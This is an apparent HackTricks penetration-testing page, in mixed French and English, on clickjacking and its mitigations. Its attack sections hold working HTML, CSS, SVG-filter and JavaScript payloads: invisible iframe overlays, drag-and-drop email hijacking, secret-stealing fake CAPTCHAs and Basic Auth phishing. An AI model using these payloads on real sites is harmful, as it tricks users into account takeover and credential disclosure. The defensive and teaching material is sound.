Clickjacking

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Qu’est-ce que le Clickjacking

Lors d’une attaque de clickjacking, un utilisateur est trompé pour cliquer sur un élément d’une page web qui est soit invisible, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences non désirées pour l’utilisateur, comme le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture de credentials ou d’informations sensibles, des transferts d’argent, ou l’achat en ligne de produits.

Astuce : préremplir les formulaires

Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramètres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer le payload de clickjacking afin que l’utilisateur appuie sur le bouton Submit.

Remplir un formulaire avec Drag&Drop

Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d’entrer certaines informations spécifiques (comme l’email ou un password spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui écrira vos données contrôlées comme dans this example.

Payload basique

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Payload en plusieurs étapes

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Exemple:
Vous avez trouvé une self XSS dans certains détails privés du compte (détails que seul vous pouvez définir et lire). La page contenant le formulaire pour définir ces détails est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les GET parameters.
Un attaquant pourrait préparer une attaque de Clickjacking vers cette page en préremplissant le formulaire avec le XSS payload et en trompant l’utilisateur pour soumettre le formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiées, l’utilisateur exécutera la XSS.

DoubleClickjacking

Firstly explained in this post, cette technique demande à la victime de double-cliquer sur un bouton d’une page personnalisée placée à un emplacement précis, et utilise les différences de timing entre les événements mousedown et onclick pour charger la page victime pendant le double-clic, de sorte que la victime clique en réalité sur un bouton légitime dans la page victime.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Cette technique permet de tromper l’utilisateur pour qu’il clique en un seul point de la page victime en contournant toutes les protections contre le clickjacking. L’attaquant doit donc trouver des actions sensibles qui peuvent être effectuées en un seul clic, comme des invites OAuth acceptant des permissions.

Some PoCs abandon iframes entirely and keep a background popup aligned under the cursor. The attacker page tracks mousemove and uses a small popup (window.open) that is moved with moveTo() while it is same-origin; once aligned, it is redirected back to the target origin so the next click lands on the real button. Because cross‑origin moveTo() is blocked, the popup is briefly navigated to an attacker origin for repositioning, then location/history.back() returns to the target. To surface the target at click time, the attacker can re‑open the popup with the same window name to bring it to the foreground without changing the URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

Filtres SVG / Cross-Origin Iframe UI Redressing

Les versions récentes de Chromium/WebKit/Gecko permettent d’appliquer CSS filter:url(#id) aux iframes cross-origin.
Les pixels rasterisés de l’iframe sont exposés au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent déformer arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, même si l’attaquant ne touche jamais le DOM.
Un filtre simple de style Liquid-Glass ressemble à :

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Primitives utiles : feImage charge des attacker bitmaps (e.g., overlays, displacement maps); feFlood construit des mattes de couleur constante; feOffset/feGaussianBlur affinent les zones lumineuses; feDisplacementMap réfracte/déforme le texte; feComposite operator="arithmetic" implémente des opérations mathématiques par canal arbitraires (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisantes pour augmenter le contraste, le masquage et les opérations AND/OR; feTile découpe et réplique des pixel probes; feMorphology agrandit/rétrécit les traits; feColorMatrix déplace la luma dans l’alpha pour construire des masques précis.

Détourner des secrets en invites de type CAPTCHA

Si un framable endpoint rend des secrets (tokens, reset codes, API keys), l’attacker peut les déformer pour qu’ils ressemblent à un CAPTCHA et contraindre une transcription manuelle :

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Les pixels déformés poussent l’utilisateur à « résoudre » le captcha à l’intérieur de l’<input> contrôlé par l’attaquant dont le pattern impose le vrai secret de la victime.

Recontextualisation des saisies de la victime

Les filtres peuvent supprimer chirurgicalement le texte de placeholder/validation tout en conservant les frappes de l’utilisateur. Un flux de travail :

  1. feComposite operator="arithmetic" k2≈4 amplifie la luminosité, de sorte que le texte d’aide gris sature en blanc.
  2. feTile limite la zone de travail au rectangle du champ.
  3. feMorphology operator="erode" épaissit les glyphes sombres saisis par la victime et les stocke via result="thick".
  4. feFlood crée une plaque blanche, feBlend mode="difference" avec thick, et un second feComposite k2≈100 la transforme en un matte de luminance net.
  5. feColorMatrix déplace cette luminance vers l’alpha, et feComposite in="SourceGraphic" operator="in" conserve seulement les glyphes saisis par l’utilisateur.
  6. Un autre feBlend in2="white" plus un ajustement fin donne une zone de saisie propre, après quoi l’attaquant superpose ses propres labels HTML (par ex. « Entrez votre email ») tandis que l’iframe cachée continue d’appliquer la politique de mot de passe de l’origine de la victime.

Safari a du mal avec feTile ; le même effet peut être reproduit avec des mattes spatiales construites à partir de feFlood + feColorMatrix + feComposite pour des payloads réservés à WebKit.

Sondes de pixels, logique et machines à états

En recadrant une région de 2–4 px avec feTile et en la carrelant à 100% du viewport, l’attaquant transforme la couleur échantillonnée en une texture pleine trame qui peut être seuillée en un masque booléen :

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Pour des couleurs arbitraires, une référence feFlood (par ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmétique (k2≈100, k4 en tolérance) produisent du blanc uniquement lorsque le pixel échantillonné correspond à la teinte cible. Alimenter ces masques dans feComposite avec des k1..k4 ajustés donne des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre blanc. Chaîner les portes crée un full adder à l’intérieur du graphe de filtres, prouvant que le pipeline est fonctionnellement complet.

Les attaquants peuvent donc lire l’état de l’UI sans JavaScript. Exemples de booléens dans un workflow modal :

  • D (dialog visible) : sonder un coin assombri et tester contre le blanc.
  • L (dialog loaded) : sonder les coordonnées où le bouton apparaît une fois prêt.
  • C (checkbox checked) : comparer le pixel de la case à cocher avec le bleu actif #0B57D0.
  • R (red success/failure banner) : utiliser feMorphology et des seuils de rouge à l’intérieur du rectangle de la bannière.

Chaque état détecté commande une bitmap d’overlay différente intégrée via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisés avec le vrai dialog et guide la victime à travers des workflows multi-étapes (réinitialisations de mot de passe, approbations, confirmations destructives) sans jamais exposer le DOM.

iframe sandboxé Basic Auth dialog (no allow-popups)

Un iframe sandboxé sans allow-popups peut toujours afficher une HTTP Basic Authentication modal contrôlée par le navigateur lorsque le chargement retourne 401 avec WWW-Authenticate. La boîte de dialogue est générée par la couche réseau/auth du navigateur (pas par les alert/prompt/confirm JS), donc les restrictions de popups dans le sandbox ne la suppriment pas. Si vous pouvez exécuter des scripts dans l’iframe (p.ex., sandbox="allow-scripts") vous pouvez la naviguer vers n’importe quel endpoint émettant un Basic Auth challenge :

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Une fois la réponse reçue, le navigateur affiche une invite de credentials même si les popups sont interdits. Encadrer une origine de confiance avec cette astuce permet le UI redress/phishing : des boîtes de dialogue modales inattendues à l’intérieur d’un widget “sandboxed” peuvent perturber les utilisateurs ou pousser les password managers à proposer des identifiants enregistrés.

Extensions de navigateur : DOM-based autofill clickjacking

En plus de iframer les pages victimes, les attaquants peuvent cibler les éléments UI d’extensions de navigateur injectés dans la page. Les password managers affichent des listes d’autofill près des champs focalisés ; en focalisant un champ contrôlé par l’attaquant et en cachant/occultant le dropdown de l’extension (trucs d’opacité/sur-couche/couche supérieure), un clic contraint de l’utilisateur peut sélectionner un élément stocké et remplir des données sensibles dans des champs contrôlés par l’attaquant. Cette variante n’exige aucune exposition via iframe et fonctionne entièrement via manipulation du DOM/CSS.

Cas réel : Dashlane a révélé un problème de passkey dialog clickjacking (août 2025) où XSS on the relying-party domain permettait à un attaquant de superposer du HTML par-dessus la boîte de dialogue passkey de l’extension. Un clic sur l’élément de l’attaquant déclenchait la connexion par passkey légitime (la passkey elle‑même n’est pas exposée), transformant efficacement un UI-redress en accès au compte si le RP est déjà vulnérable à l’injection de script.

Stratégies pour atténuer le Clickjacking

Défenses côté client

Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking :

  • S’assurer que la fenêtre de l’application est la fenêtre principale (top).
  • Rendre tous les frames visibles.
  • Empêcher les clics sur des frames invisibles.
  • Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.

Cependant, ces scripts anti-frame peuvent être contournés :

  • Paramètres de sécurité des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou d’un manque de support JavaScript.
  • Attribut sandbox de l’iframe HTML5 : Un attaquant peut neutraliser les scripts de type frame buster en définissant l’attribut sandbox avec les valeurs allow-forms ou allow-scripts sans allow-top-navigation. Cela empêche l’iframe de vérifier si elle est la fenêtre top, par ex.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

Défenses côté serveur

X-Frame-Options

The X-Frame-Options HTTP response header informe les navigateurs de la légitimité d’afficher une page dans un <frame> ou <iframe>, aidant à prévenir le Clickjacking :

  • X-Frame-Options: deny - Aucun domaine ne peut afficher le contenu dans un frame.
  • X-Frame-Options: sameorigin - Seul le site courant peut afficher le contenu dans un frame.
  • X-Frame-Options: allow-from https://trusted.com - Seule l’URI spécifiée peut afficher la page dans un frame.
  • Notez les limites : si le navigateur ne prend pas en charge cette directive, elle peut ne pas fonctionner. Certains navigateurs privilégient la directive CSP frame-ancestors.

Content Security Policy (CSP) frame-ancestors directive

La directive frame-ancestors dans CSP est la méthode recommandée pour la protection contre le Clickjacking :

  • frame-ancestors 'none' - Similaire à X-Frame-Options: deny.
  • frame-ancestors 'self' - Similaire à X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similaire à X-Frame-Options: allow-from.

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) est une mesure de sécurité qui aide à prévenir le Clickjacking et d’autres attaques d’injection de code en spécifiant quelles sources le navigateur doit autoriser pour charger du contenu.

frame-src Directive

  • Définit les sources valides pour les frames.
  • Plus spécifique que la directive default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Cette politique autorise les frames provenant de la même origine (self) et https://trusted-website.com.

child-src Directive

  • Introduit dans CSP niveau 2 pour définir des sources valides pour les web workers et les frames.
  • Sert de solution de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Cette politique autorise les frames et workers depuis la même origine (self) et https://trusted-website.com.

Notes d’utilisation :

  • Dépréciation : child-src est en cours d’abandon au profit de frame-src et worker-src.
  • Comportement de repli : Si frame-src est absent, child-src est utilisé comme repli pour les frames. Si les deux sont absents, default-src est utilisé.
  • Définition stricte des sources : n’incluez que des sources de confiance dans les directives pour prévenir toute exploitation.

Scripts JavaScript de frame-busting

Bien qu’ils ne soient pas complètement infaillibles, les scripts JavaScript de frame-busting peuvent être utilisés pour empêcher qu’une page web soit chargée dans un frame. Exemple:

if (top !== self) {
top.location = self.location
}

Utilisation des Anti-CSRF Tokens

  • Validation du token : Utiliser des anti-CSRF tokens dans les applications web pour s’assurer que les requêtes entraînant un changement d’état sont effectuées intentionnellement par l’utilisateur et non via une page Clickjacked.

Références

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks